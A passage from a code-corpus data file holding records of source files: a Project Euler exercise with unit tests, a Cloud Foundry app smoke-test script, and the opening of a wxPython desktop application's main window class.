"usage_type": "call"}, {"api_name": "itertools.product", "line_number": 566, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 572, "usage_type": "call"}, {"api_name": "tqdm.autonotebook.tqdm", "line_number": 575, "usage_type": "call"}, {"api_name": "utils.decorator.use_pickle", "line_number": 540, "usage_type": "name"}, {"api_name": "plot.plot.parameter_space_exploration", "line_number": 598, "usage_type": "call"}, {"api_name": "plot.plot", "line_number": 598, "usage_type": "name"}, {"api_name": "plot.plot.parameter_space_exploration_2d", "line_number": 606, "usage_type": "call"}, {"api_name": "plot.plot", "line_number": 606, "usage_type": "name"}, {"api_name": "plot.plot.comparison_best_fit_rw_pop", "line_number": 631, "usage_type": "call"}, {"api_name": "plot.plot", "line_number": 631, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 649, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 649, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 656, "usage_type": "call"}, {"api_name": "tqdm.autonotebook.tqdm", "line_number": 659, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 663, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 663, "usage_type": "attribute"}, {"api_name": "utils.decorator.use_pickle", "line_number": 643, "usage_type": "name"}, {"api_name": "plot.plot.parameter_recovery", "line_number": 689, "usage_type": "call"}, {"api_name": "plot.plot", "line_number": 689, "usage_type": "name"}, {"api_name": "stats.stats.correlation_recovery", "line_number": 694, "usage_type": "call"}, {"api_name": "stats.stats", "line_number": 694, "usage_type": "name"}, {"api_name": "numpy.log", "line_number": 702, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 708, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 709, "usage_type": "call"}, {"api_name": "utils.decorator.use_pickle", "line_number": 737, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 769, "usage_type": "call"}, {"api_name": "tqdm.autonotebook.tqdm", "line_number": 772, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 781, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 781, "usage_type": "attribute"}, {"api_name": "numpy.min", "line_number": 797, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 800, "usage_type": "call"}, {"api_name": "utils.decorator.use_pickle", "line_number": 761, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 814, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 814, "usage_type": "attribute"}, {"api_name": "plot.plot.confusion_matrix", "line_number": 818, "usage_type": "call"}, {"api_name": "plot.plot", "line_number": 818, "usage_type": "name"}, {"api_name": "stats.stats.classification", "line_number": 821, "usage_type": "call"}, {"api_name": "stats.stats", "line_number": 821, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 830, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 830, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 836, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 836, "usage_type": "attribute"}, {"api_name": "plot.plot.behavior_pop", "line_number": 844, "usage_type": "call"}, {"api_name": "plot.plot", "line_number": 844, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 854, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 855, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 856, "usage_type": "call"}, {"api_name": "tqdm.autonotebook.tqdm", "line_number": 859, "usage_type": "call"}, {"api_name": "stats.stats.freq_and_err", "line_number": 867, "usage_type": "call"}, {"api_name": "stats.stats", "line_number": 867, "usage_type": "name"}, {"api_name": "stats.stats.freq_and_err", "line_number": 868, "usage_type": "call"}, {"api_name": "stats.stats", "line_number": 868, "usage_type": "name"}, {"api_name": "utils.decorator.use_pickle", "line_number": 848, "usage_type": "name"}, {"api_name": "plot.plot.model_comparison", "line_number": 883, "usage_type": "call"}, {"api_name": "plot.plot", "line_number": 883, "usage_type": "name"}, {"api_name": "numpy.argmax", "line_number": 894, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 901, "usage_type": "call"}, {"api_name": "plot.plot.post_hoc_sim", "line_number": 918, "usage_type": "call"}, {"api_name": "plot.plot", "line_number": 918, "usage_type": "name"}]}
{"seq_id": "34657206376", "text": "import unittest\nimport pdb\nfrom fractions import Fraction\n\ndef findSumOfProducts(number):\n    result = 0\n    for num in range(5, number + 1):\n        pdb.set_trace()\n        result += findMaxProduct(num)\n    return result\n\ndef findMaxProduct(n):\n    max_value = 0\n    for divisor in range(1, n):\n        product = Fraction(n**divisor, divisor**divisor)\n        if product > max_value:\n            max_value = product\n    return isTerminating(max_value.numerator, max_value.denominator)\n\ndef isTerminating(num, den):\n    numCopy = num\n    denCopy = den\n    while den % 2 == 0:\n        den = den / 2\n    while den % 5 == 0:\n        den = den / 5\n    return (-1 * (numCopy / denCopy)) if den == 1 else (numCopy / denCopy)\n\n\nclass TestProjectEuler(unittest.TestCase):\n    def setUp(self):\n        pass\n\n    def test_isTerminatingPos(self):\n        num = 2\n        den = 3\n        result = isTerminating(num, den)\n        self.assertEqual(result, 0.6666666666666666)\n\n    def test_isTerminatingNeg(self):\n        num = 5\n        den = 2\n        result = isTerminating(num, den)\n        self.assertEqual(result, -2.5)\n\n    def test_findMaxProduct(self):\n        num = 8\n        result = findMaxProduct(num)\n        self.assertEqual(round(result, 9), 18.962962963)\n\n    def test_findSumOfProducts(self):\n        number = 100\n        result = findSumOfProducts(number)\n        self.assertEqual(result, 2438)\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "repo_name": "redixhumayun/ctci", "sub_path": "HackerRank/projectEuler.py", "file_name": "projectEuler.py", "file_ext": "py", "file_size_in_byte": 1448, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pdb.set_trace", "line_number": 8, "usage_type": "call"}, {"api_name": "fractions.Fraction", "line_number": 15, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 30, "usage_type": "attribute"}, {"api_name": "unittest.main", "line_number": 57, "usage_type": "call"}]}
{"seq_id": "25648512049", "text": "import json\nimport os\nimport requests\nimport sys\nimport time\n\nfrom  lib import common_tests, utils, report_results\n\ntry:\n    foundation = os.environ['FOUNDATION']\n    pas_sample_app = os.environ['PAS_SAMPLE_APP']\n    pas_sample_app_path = os.path.join(os.getcwd(), \"cf-smoke-tests\", \"sample_apps\", pas_sample_app)\nexcept KeyError as e:\n    print(str(e))\n    exit(1)\n\n\ndef test_app_instances_connection(num_instances):\n    max_attempts = 10\n    app_instance_connection_results = {}\n    try:\n        for i in range(num_instances):\n            app_instance_connection_results[i] = False\n\n        _, appguid = common_tests.show_app_guid(pas_sample_app)\n        _ , routes = utils.get_app_routes(pas_sample_app)\n        url = \"https://{}/\".format(routes[0].strip())\n        print(\"Trying to connect to all of the app-instances using end-point {}\".format(url))\n\n        for i in range(num_instances):\n            for j in range(max_attempts):\n                _header = {\"X-Cf-App-Instance\": \"{}:{}\".format(appguid, i)}\n                resp = requests.get(url, headers=_header)\n                print(\"Instance-index: {}, Attempt: {}, response: {}\".format(i, j, resp.status_code))\n                if resp.status_code == 200:\n                    print(\"Connection to index {} was successful in {} attempts\".format(i, j+1))\n                    app_instance_connection_results[i] = True\n                    break\n\n        if not all(app_instance_connection_results.values()):\n            print(\"Could not reach to all instances of sample-app in {} attempts.\".format(max_attempts*num_instances))\n    except Exception as e:\n        print(str(e))\n\n    return all(app_instance_connection_results.values())\n\n\ndef main():\n    result = True\n    results = {}\n    print(\"Starting PAS smoke-test...\")\n    start = time.time()\n    try:\n        results['set_api'] = common_tests.set_api()\n        if not results['set_api']:\n            raise Exception('set_api failed')\n\n        results['authenticate'] = common_tests.authenticate()\n        if not results['authenticate']:\n            raise Exception('authenticate failed')\n\n        results['set_target'] = common_tests.set_target()\n        if not results['set_target']:\n            raise Exception('set_target failed')\n\n        manifest_path = os.path.join(pas_sample_app_path, 'manifest.yml')\n        params = \"{} -f {} -p {} --no-start\".format(pas_sample_app, manifest_path, pas_sample_app_path)\n        results['push_app'] = common_tests.push_app(params)\n        if not results['push_app']:\n            results['get_app_logs'] = common_tests.get_app_logs(pas_sample_app)\n            raise Exception('push_app failed')\n     \n        results['start_app'] = common_tests.start_app(pas_sample_app)\n        if not results['start_app']:\n            results['get_app_logs'] = common_tests.get_app_logs(pas_sample_app)\n            raise Exception('start_app failed')\n\n        num_instances = 5\n        results['scale_up_app'] = common_tests.scale_app(pas_sample_app, num_instances)\n        if not results['scale_up_app']:\n            raise Exception('scale_up_app failed')\n\n        print('Sleeping for 20 seconds to let all instances come up...')\n        time.sleep(20)\n\n        results['show_app_info'] = common_tests.show_app_info(pas_sample_app)\n        if not results['show_app_info']:\n            raise Exception('show_app_info failed')\n\n        results['test_app_instances_connection'] = test_app_instances_connection(num_instances)\n        if not results['test_app_instances_connection']:\n            raise Exception('test_app_instances_connection failed')\n\n        results['scale_down_app'] = common_tests.scale_app(pas_sample_app, 1)\n        if not results['scale_down_app']:\n            raise Exception('scale_down_app failed')\n\n        results['get_app_logs'] = common_tests.get_app_logs(pas_sample_app)\n        if not results['get_app_logs']:\n            raise Exception('get_app_logs failed')\n\n    except Exception as e:\n        print(str(e))\n        result = False\n    finally:\n        try:\n            results['delete_app'] = common_tests.delete_app(pas_sample_app)\n            if not results['delete_app']:\n                print('delete_app failed')\n        except Exception as e:\n            print(str(e))\n            result = False\n\n    if result and not all(value == True for value in results.values()):\n        result = False\n    print(\"Finished PAS smoke-test...\")\n    print(json.dumps(results, indent=1))\n    print(\"Overall result: {}\".format(\"Passed\" if result else \"Failed\"))\n    end = time.time()\n    minutes_taken = (end-start)/60\n    print(\"Total time taken: {} minutes\".format(minutes_taken))\n    results['overall_result'] = result\n    results['minutes_taken'] = minutes_taken\n    report_results.send_metric_to_influxdb('pas', results)\n    return not result\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n", "repo_name": "tmobile/cf-smoke-tests", "sub_path": "src/pas_smoke_tests.py", "file_name": "pas_smoke_tests.py", "file_ext": "py", "file_size_in_byte": 4858, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.environ", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 12, "usage_type": "call"}, {"api_name": "lib.common_tests.show_app_guid", "line_number": 25, "usage_type": "call"}, {"api_name": "lib.common_tests", "line_number": 25, "usage_type": "name"}, {"api_name": "lib.utils.get_app_routes", "line_number": 26, "usage_type": "call"}, {"api_name": "lib.utils", "line_number": 26, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 33, "usage_type": "call"}, {"api_name": "time.time", "line_number": 52, "usage_type": "call"}, {"api_name": "lib.common_tests.set_api", "line_number": 54, "usage_type": "call"}, {"api_name": "lib.common_tests", "line_number": 54, "usage_type": "name"}, {"api_name": "lib.common_tests.authenticate", "line_number": 58, "usage_type": "call"}, {"api_name": "lib.common_tests", "line_number": 58, "usage_type": "name"}, {"api_name": "lib.common_tests.set_target", "line_number": 62, "usage_type": "call"}, {"api_name": "lib.common_tests", "line_number": 62, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "lib.common_tests.push_app", "line_number": 68, "usage_type": "call"}, {"api_name": "lib.common_tests", "line_number": 68, "usage_type": "name"}, {"api_name": "lib.common_tests.get_app_logs", "line_number": 70, "usage_type": "call"}, {"api_name": "lib.common_tests", "line_number": 70, "usage_type": "name"}, {"api_name": "lib.common_tests.start_app", "line_number": 73, "usage_type": "call"}, {"api_name": "lib.common_tests", "line_number": 73, "usage_type": "name"}, {"api_name": "lib.common_tests.get_app_logs", "line_number": 75, "usage_type": "call"}, {"api_name": "lib.common_tests", "line_number": 75, "usage_type": "name"}, {"api_name": "lib.common_tests.scale_app", "line_number": 79, "usage_type": "call"}, {"api_name": "lib.common_tests", "line_number": 79, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 84, "usage_type": "call"}, {"api_name": "lib.common_tests.show_app_info", "line_number": 86, "usage_type": "call"}, {"api_name": "lib.common_tests", "line_number": 86, "usage_type": "name"}, {"api_name": "lib.common_tests.scale_app", "line_number": 94, "usage_type": "call"}, {"api_name": "lib.common_tests", "line_number": 94, "usage_type": "name"}, {"api_name": "lib.common_tests.get_app_logs", "line_number": 98, "usage_type": "call"}, {"api_name": "lib.common_tests", "line_number": 98, "usage_type": "name"}, {"api_name": "lib.common_tests.delete_app", "line_number": 107, "usage_type": "call"}, {"api_name": "lib.common_tests", "line_number": 107, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 117, "usage_type": "call"}, {"api_name": "time.time", "line_number": 119, "usage_type": "call"}, {"api_name": "lib.report_results.send_metric_to_influxdb", "line_number": 124, "usage_type": "call"}, {"api_name": "lib.report_results", "line_number": 124, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 129, "usage_type": "call"}]}
{"seq_id": "5569117245", "text": "# generic imports ------------------------------------------------------------------------------------------------------\r\nimport os\r\nimport gc\r\nimport pickle\r\nfrom pubsub import pub\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n# wxPython imports -----------------------------------------------------------------------------------------------------\r\nfrom wx.lib.agw.persist import PersistenceManager\r\nfrom wx.lib.agw.customtreectrl import EVT_TREE_ITEM_CHECKED\r\nfrom wx.lib.agw.ribbon import EVT_RIBBONBUTTONBAR_CLICKED, EVT_RIBBONBUTTONBAR_DROPDOWN_CLICKED\r\nfrom wx.lib.agw.aui import EVT_AUINOTEBOOK_PAGE_CHANGING, EVT_AUINOTEBOOK_PAGE_CHANGED, EVT_AUINOTEBOOK_PAGE_CLOSE,\\\r\n    EVT_AUINOTEBOOK_PAGE_CLOSED\r\n\r\n\r\n# Alveus imports -------------------------------------------------------------------------------------------------------\r\nfrom _ids import *\r\nimport _icons as ico\r\nfrom widgets.customized_menu import CustomMenu, CustomMenuItem\r\nfrom settings import Settings\r\nfrom entity_mgr import EntityManager\r\nfrom variable_mgr import VariableManager\r\nfrom chart_mgr import ChartManager, CartesianChart, StackedChart, BarChart, BubbleChart, HistogramChart, MapChart,\\\r\n    ThreeDChart, FitChart, AxesItem\r\n\r\nfrom object_menu import ObjectMenu\r\nfrom display import Display\r\nfrom ribbon import Ribbon\r\n\r\nfrom frames.frame_utilities import GetFilePath, DeleteSingleTreeItem, DeleteMultipleTreeItems, MoveFolderOntoFolder,\\\r\n    RelativeDragIndex\r\nfrom frames.settings_frame import SettingsFrame\r\nfrom frames.auxiliary_frames import DuplicateFrame\r\nfrom frames.export_frame import ExportFrame\r\nfrom frames.import_frames import ProfileImportFrame\r\nfrom frames.scenario_frame import ScenarioFrame\r\nfrom frames.entity_frames import HistoryFrame, PredictionFrame, ScalingFrame\r\nfrom frames.correlation_frame import EntityCorrelationFrame, VariableCorrelationFrame\r\nfrom frames.variable_frame import ProductionVariableFrame, SummaryVariableFrame\r\nfrom frames.entity_frames import FieldFrame, BlockFrame, ReservoirFrame, ThemeFrame, PolygonFrame, \\\r\n                                      ProjectFrame, PlatformFrame, ProducerFrame, InjectorFrame, \\\r\n                                      ProcessorFrame, PipelineFrame, AnalogueFrame, TypecurveFrame\r\n\r\n\r\n# ----------------------------------------------------------------------------------------------------------------------\r\n\r\n\r\nclass MainFrame(wx.Frame):\r\n    def __init__(self):\r\n        super().__init__(parent=None, title='Alveus', style=wx.DEFAULT_FRAME_STYLE)\r\n\r\n        # project, settings and managers\r\n        self._enabled = False\r\n        self._project_path = None\r\n        self._settings = None\r\n        self._entity_mgr = None\r\n        self._variable_mgr = None\r\n        self._chart_mgr = None\r\n        self._persist_mgr = PersistenceManager.Get()\r\n\r\n        # pre-allocate objects\r\n        self.panel = wx.Panel(self)\r\n        self.splitter = wx.SplitterWindow(self.panel, wx.ID_ANY, style=wx.SP_THIN_SASH | wx.SP_LIVE_UPDATE)\r\n\r\n        # primary components displayed on interface\r\n        self.ribbon = Ribbon(self.panel)\r\n        self.object_menu = ObjectMenu(self.splitter)\r\n        self.display = Display(self.splitter)\r\n        self.status_bar = self.CreateStatusBar(1)\r\n\r\n        # used for drag & drop\r\n        self._drag_items = None\r\n\r\n        # used for copy, cut and paste\r\n        self._cut = False       # true if cut, false if copy\r\n        self._copy_tree = None  # used to check if copy_tree is paste_tree\r\n        self._copy_items = None\r\n\r\n        # chart display modes\r\n        self._present = False\r\n\r\n        # locking of open frames to avoid the same frame being opened twice (object_menu items handled separately)\r\n        self._corr_ent_locked = False\r\n        self._corr_var_locked = False\r\n\r\n        self.InitUI()\r\n\r\n        self.Maximize()\r\n        self.SetMinSize(self.GetSize())\r\n\r\n        # ==============================================================================================================\r\n        # Events\r\n        # ==============================================================================================================\r\n        # object menu events -------------------------------------------------------------------------------------------\r\n        # checking events\r\n        self.Bind(EVT_TREE_ITEM_CHECKED, self.OnTreeItemChecked,   self.object_menu.entities.tree)\r\n        self.Bind(EVT_TREE_ITEM_CHECKED, self.OnTreeItemChecked,   self.object_menu.projects.tree)\r\n        self.Bind(EVT_TREE_ITEM_CHECKED, self.OnTreeItemChecked,   self.object_menu.variables.tree)\r\n        self.Bind(EVT_TREE_ITEM_CHECKED, self.OnWindowItemChecked, self.object_menu.windows.tree)\r\n\r\n        # clicking events\r\n        self.Bind(wx.EVT_TREE_ITEM_RIGHT_CLICK, self.OnEntityRightClick,    self.object_menu.entities.tree)\r\n        self.Bind(wx.EVT_TREE_ITEM_ACTIVATED,   self.OnEntityDoubleClick,   self.object_menu.entities.tree)\r\n        self.Bind(wx.EVT_TREE_ITEM_RIGHT_CLICK, self.OnEntityRightClick,    self.object_menu.projects.tree)\r\n        self.Bind(wx.EVT_TREE_ITEM_ACTIVATED,   self.OnEntityDoubleClick,   self.object_menu.projects.tree)\r\n        self.Bind(wx.EVT_TREE_ITEM_RIGHT_CLICK, self.OnVariableRightClick,  self.object_menu.variables.tree)\r\n        self.Bind(wx.EVT_TREE_ITEM_ACTIVATED,   self.OnVariableDoubleClick, self.object_menu.variables.tree)\r\n        self.Bind(wx.EVT_TREE_ITEM_RIGHT_CLICK, self.OnWindowRightClick,    self.object_menu.windows.tree)\r\n\r\n        # drag & drop events\r\n        self.Bind(wx.EVT_TREE_BEGIN_DRAG, self.OnBeginDrag, self.object_menu.entities.tree)\r\n        self.Bind(wx.EVT_TREE_END_DRAG,   self.OnEndDrag,   self.object_menu.entities.tree)\r\n        self.Bind(wx.EVT_TREE_BEGIN_DRAG, self.OnBeginDrag, self.object_menu.projects.tree)\r\n        self.Bind(wx.EVT_TREE_END_DRAG,   self.OnEndDrag,   self.object_menu.projects.tree)\r\n        self.Bind(wx.EVT_TREE_BEGIN_DRAG, self.OnBeginDrag, self.object_menu.windows.tree)\r\n        self.Bind(wx.EVT_TREE_END_DRAG,   self.OnEndDrag,   self.object_menu.windows.tree)\r\n\r\n        # edit label events\r\n        self.Bind(wx.EVT_TREE_BEGIN_LABEL_EDIT, self.OnBeginEditLabel, self.object_menu.entities.tree)\r\n        self.Bind(wx.EVT_TREE_END_LABEL_EDIT,   self.OnEndEditLabel,   self.object_menu.entities.tree)\r\n        self.Bind(wx.EVT_TREE_BEGIN_LABEL_EDIT, self.OnBeginEditLabel, self.object_menu.projects.tree)\r\n        self.Bind(wx.EVT_TREE_END_LABEL_EDIT,   self.OnEndEditLabel,   self.object_menu.projects.tree)\r\n        self.Bind(wx.EVT_TREE_BEGIN_LABEL_EDIT, self.OnBeginEditLabel, self.object_menu.windows.tree)\r\n        self.Bind(wx.EVT_TREE_END_LABEL_EDIT,   self.OnEndEditLabel,   self.object_menu.windows.tree)\r\n\r\n        # display events -----------------------------------------------------------------------------------------------\r\n        self.Bind(wx.EVT_COMBOBOX, self.OnOptionsBarChanged, self.display.options_bar.data)\r\n        self.Bind(wx.EVT_COMBOBOX, self.OnOptionsBarChanged, self.display.options_bar.uncertainty)\r\n        self.Bind(wx.EVT_COMBOBOX, self.OnOptionsBarChanged, self.display.options_bar.split)\r\n        self.Bind(wx.EVT_COMBOBOX, self.OnOptionsBarChanged, self.display.options_bar.group)\r\n        self.Bind(wx.EVT_COMBOBOX, self.OnOptionsBarChanged, self.display.options_bar.colour)\r\n\r\n        self.Bind(EVT_AUINOTEBOOK_PAGE_CHANGING, self.OnPageChanging,  self.display.notebook, id=wx.NewId())\r\n        self.Bind(EVT_AUINOTEBOOK_PAGE_CHANGED,  self.OnPageChanged,   self.display.notebook, id=wx.NewId())\r\n        self.Bind(EVT_AUINOTEBOOK_PAGE_CLOSE,    self.OnPageClosing,   self.display.notebook, id=wx.NewId())\r\n        self.Bind(EVT_AUINOTEBOOK_PAGE_CLOSED,   self.OnPageClosed,    self.display.notebook, id=wx.NewId())\r\n\r\n        # ribbon bar events --------------------------------------------------------------------------------------------\r\n        # file\r\n        self.Bind(wx.EVT_MENU, self.OnSave,            self.ribbon.file_menu.save)\r\n        self.Bind(wx.EVT_MENU, self.OnSaveAs,          self.ribbon.file_menu.save_as)\r\n        self.Bind(wx.EVT_MENU, self.OnOpenProject,     self.ribbon.file_menu.open)\r\n        self.Bind(wx.EVT_MENU, self.OnCloseProject,    self.ribbon.file_menu.close)\r\n        self.Bind(wx.EVT_MENU, self.OnNewProject,      self.ribbon.file_menu.new)\r\n        self.Bind(wx.EVT_MENU, self.OnProjectSettings, self.ribbon.file_menu.settings)\r\n\r\n        # window\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnAddWindow, id=ID_WINDOW)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_DROPDOWN_CLICKED, self.OnWindowDropdown, id=ID_WINDOW)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnRefreshWindow, id=ID_WINDOW_REFRESH)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnPresentMode, id=ID_WINDOW_PRESENT)\r\n\r\n        # add folder\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnAddFolder, id=ID_FOLDER)\r\n\r\n        # add chart\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, lambda e: self.OnAddChart(e, CartesianChart()), id=ID_CHART_CARTESIAN)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, lambda e: self.OnAddChart(e, StackedChart()),   id=ID_CHART_STACKED)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, lambda e: self.OnAddChart(e, BarChart()),       id=ID_CHART_BAR)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, lambda e: self.OnAddChart(e, BubbleChart()),    id=ID_CHART_BUBBLE)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, lambda e: self.OnAddChart(e, HistogramChart()), id=ID_CHART_HISTOGRAM)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, lambda e: self.OnAddChart(e, MapChart()),       id=ID_CHART_MAP)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, lambda e: self.OnAddChart(e, ThreeDChart()),    id=ID_CHART_3D)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, lambda e: self.OnAddChart(e, FitChart()),       id=ID_CHART_FIT)\r\n        # self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnAddChart, id=ID_CHART_TREND)\r\n        # self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnAddChart, id=ID_CHART_INCREMENT)\r\n        # self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnAddChart, id=ID_CHART_PROFILES)\r\n\r\n        # import/export\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnExportMultiple, id=ID_EXPORT_EXCEL)\r\n\r\n        # summary\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnOpenVariableFrame, id=ID_SUMMARY)\r\n\r\n        # add entity\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnOpenEntityFrame, id=ID_FIELD)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnOpenEntityFrame, id=ID_BLOCK)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnOpenEntityFrame, id=ID_RESERVOIR)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnOpenEntityFrame, id=ID_THEME)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnOpenEntityFrame, id=ID_POLYGON)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnOpenEntityFrame, id=ID_ANALOGUE)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnOpenEntityFrame, id=ID_TYPECURVE)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnOpenEntityFrame, id=ID_SCALING)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnOpenEntityFrame, id=ID_PLATFORM)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnOpenEntityFrame, id=ID_PROCESSOR)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnOpenEntityFrame, id=ID_PIPELINE)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnOpenEntityFrame, id=ID_PRODUCER)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnOpenEntityFrame, id=ID_INJECTOR)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnOpenEntityFrame, id=ID_PROJECT)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnOpenEntityFrame, id=ID_HISTORY)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnOpenEntityFrame, id=ID_SCENARIO)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnOpenEntityFrame, id=ID_PREDICTION)\r\n\r\n        # correlation groups\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnOpenEntityCorrelationFrame,   id=ID_CORRELATION_ENT)\r\n        self.Bind(EVT_RIBBONBUTTONBAR_CLICKED, self.OnOpenVariableCorrelationFrame, id=ID_CORRELATION_VAR)\r\n\r\n        # close application\r\n        self.Bind(wx.EVT_CLOSE, self.OnCloseApplication)\r\n\r\n        # ==============================================================================================================\r\n        # PyPubSub\r\n        # ==============================================================================================================\r\n        pub.subscribe(self.ActivateChart, 'activate_chart')\r\n        pub.subscribe(self.EntityCorrelationClosed, 'entity_correlation_closed')\r\n        pub.subscribe(self.VariableCorrelationClosed, 'variable_correlation_closed')\r\n        pub.subscribe(self.EntityAdded, 'entity_added')\r\n        pub.subscribe(self.PointerUpdated, 'pointer_updated')\r\n        pub.subscribe(self.SummaryAdded, 'summary_added')\r\n        pub.subscribe(self.SettingsUpdated, 'settings_updated')\r\n\r\n    def InitUI(self):\r\n        self.splitter.SplitVertically(self.object_menu, self.display, 350)\r\n        self.ribbon.EnableButtons(False)\r\n        self.display.EnableOptionsBar(False)\r\n\r\n        self.status_bar.SetStatusText('Made by Frederik Winkel Lehn, J0514243')\r\n\r\n        # sizing and layout --------------------------------------------------------------------------------------------\r\n        sizer = wx.BoxSizer(wx.VERTICAL)\r\n        sizer.Add(self.ribbon, 0, wx.EXPAND)\r\n        sizer.Add(self.splitter, 1, wx.EXPAND)\r\n\r\n        self.panel.SetSizer(sizer)\r\n        self.Layout()\r\n        self.Show()\r\n\r\n    # ==================================================================================================================\r\n    # Object Menu Functions\r\n    # ==================================================================================================================\r\n    # Check tree items functions ---------------------------------------------------------------------------------------\r\n    def OnTreeItemChecked(self, event):\r\n        ids = self.display.GetActiveIds()\r\n        chart = self._chart_mgr.GetChart(*ids)\r\n\r\n        # item = event.GetItem()\r\n        # # if in radio-button mode, uncheck all other radiobuttons (independent of parent)\r\n        # if item.GetType() == 2:\r\n        #     tree = event.GetEventObject()\r\n        #     tree.GetParent().UncheckOtherRadioButtons(item)\r\n        #     tree.GetParent().EnableChildRadioButtons()\r\n\r\n        # draw chart\r\n        self.DisplayChart(chart)\r\n\r\n    def OnWindowItemChecked(self, event):\r\n        item = event.GetItem()\r\n        state = item.IsChecked()\r\n        data = item.GetData()\r\n\r\n        if data.IsWindow():\r\n\r\n            if state:\r\n                window = self._chart_mgr.GetWindow(data.GetId())\r\n                self.PageOpening(window)\r\n            else:\r\n                # close page in display\r\n                index = self.display.GetWindowIndex(data.GetId())\r\n                self.PageClosing(index)\r\n                self.PageClosed()\r\n                self.display.ClosePage(index)\r\n\r\n        else:  # chart\r\n\r\n            parent = item.GetParent()\r\n            if not parent.IsChecked():\r\n                return\r\n\r\n            id_ = parent.GetData().GetId()\r\n\r\n            index = self.display.GetWindowIndex(id_)\r\n            self.display.SetSelection(index)\r\n\r\n            if id_ is not None:\r\n                self.OnRefreshWindow(None, True)\r\n\r\n    # click tree items functions ---------------------------------------------------------------------------------------\r\n    def OnEntityRightClick(self, event):\r\n\r\n        if not self._enabled:\r\n            return\r\n\r\n        tree = event.GetEventObject()\r\n        items = tree.GetSelections()\r\n\r\n        if len(items) > 1:\r\n\r\n            self.EntityRightClickMultiple(tree, items)\r\n\r\n        elif len(items):\r\n\r\n            self.EntityRightClickSingle(tree, items[0])\r\n\r\n        else:\r\n            return\r\n\r\n    def EntityRightClickSingle(self, tree, item):\r\n\r\n        data = item.GetData()\r\n\r\n        context_menu = 